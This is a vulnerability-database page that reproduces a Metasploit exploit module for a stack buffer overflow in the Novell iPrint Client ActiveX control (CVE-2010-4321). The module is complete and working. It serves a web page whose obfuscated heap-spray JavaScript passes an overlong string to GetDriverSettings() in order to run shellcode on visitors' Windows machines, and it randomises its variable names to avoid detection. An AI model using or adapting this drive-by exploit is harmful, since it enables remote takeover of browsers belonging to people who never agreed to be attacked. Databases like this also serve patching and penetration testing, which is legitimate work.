Lucene search
K

Novell iPrint Client ActiveX Control <= 5.52 Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

Novell iPrint Client ActiveX Control <= 5.52 Buffer Overflow when sending a long string to the GetDriverSettings() property of ienipp.ocx

Code

                                                ##
# $Id: novelliprint_getdriversettings_2.rb 11888 2011-03-07 02:28:15Z bannedit $
##

###
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super( update_info(info,
			&#39;Name&#39;           =&#62; &#39;Novell iPrint Client ActiveX Control &#60;= 5.52 Buffer Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a stack buffer overflow in Novell iPrint Client 5.52. When
				sending an overly long string to the GetDriverSettings() property of ienipp.ocx
				an attacker may be able to execute arbitrary code.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62;
				[
					&#39;mr_me &#60;steventhomasseeley[at]gmail.com&#62;&#39;, # metasploit module
					&#39;Dr_IDE&#39; # original Exploit from exploit-db.com
				 ],
			&#39;Version&#39;        =&#62; &#39;$Revision: 11888 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2010-4321&#39; ],
					[ &#39;BID&#39;, &#39;44966&#39; ],
					[ &#39;OSVDB&#39;, &#39;69357&#39; ],
					[ &#39;URL&#39;, &#39;http://www.zerodayinitiative.com/advisories/ZDI-10-256/&#39; ],
					[ &#39;URL&#39;, &#39;http://www.exploit-db.com/exploits/16014/&#39; ],
					[ &#39;URL&#39;, &#39;http://www.novell.com/support/viewContent.do?externalId=7007234&#39; ],
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;process&#39;,
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;    =&#62; 1024,
					&#39;BadChars&#39; =&#62; &#34;\x00&#34;,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[ 
						&#39;Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7&#39;,
							{ 
								&#39;Ret&#39; =&#62; 0x0A0A0A0A
							}
					]
				],
			&#39;DisclosureDate&#39; =&#62; &#39;Nov 15 2010&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload.
		return if ((p = regenerate_payload(cli)) == nil)

		# Encode the shellcode.
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		# Create some nops.
		nops = Rex::Text.to_unescape(make_nops(4))

		# Set the return.
		ret = Rex::Text.uri_encode([target.ret].pack(&#39;L&#39;))

		# Randomize the javascript variable names.
		vname  = rand_text_alpha(rand(100) + 1)
		var_i  = rand_text_alpha(rand(30)  + 2)
		rand1  = rand_text_alpha(rand(100) + 1)
		rand2  = rand_text_alpha(rand(100) + 1)
		rand3  = rand_text_alpha(rand(100) + 1)
		rand4  = rand_text_alpha(rand(100) + 1)
		rand5  = rand_text_alpha(rand(100) + 1)
		rand6  = rand_text_alpha(rand(100) + 1)
		rand7  = rand_text_alpha(rand(100) + 1)
		rand8  = rand_text_alpha(rand(100) + 1)

		content = %Q|&#60;html&#62;
&#60;object id=&#39;#{vname}&#39; classid=&#39;clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C&#39;&#62;&#60;/object&#62;
&#60;script language=&#34;JavaScript&#34;&#62;
var #{rand1} = unescape(&#39;#{shellcode}&#39;);
var #{rand2} = unescape(&#39;#{nops}&#39;);
var #{rand3} = 20;
var #{rand4} = #{rand3} + #{rand1}.length;
while (#{rand2}.length &#60; #{rand4}) #{rand2} += #{rand2};
var #{rand5} = #{rand2}.substring(0,#{rand4});
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
while (#{rand6}.length + #{rand4} &#60; 0x50000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
var #{rand7} = new Array();
for (#{var_i} = 0; #{var_i} &#60; 200; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
var #{rand8} = &#34;&#34;;
for (#{var_i} = 0; #{var_i} &#60; 250; #{var_i}++) { #{rand8} = #{rand8} + unescape(&#39;#{ret}&#39;) }
#{vname}.GetDriverSettings(#{rand8}, #{vname}, #{vname}, #{vname});
&#60;/script&#62;
&#60;/html&#62;
|
		content = Rex::Text.randomize_space(content)

		print_status(&#34;Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...&#34;)

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end
end
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
12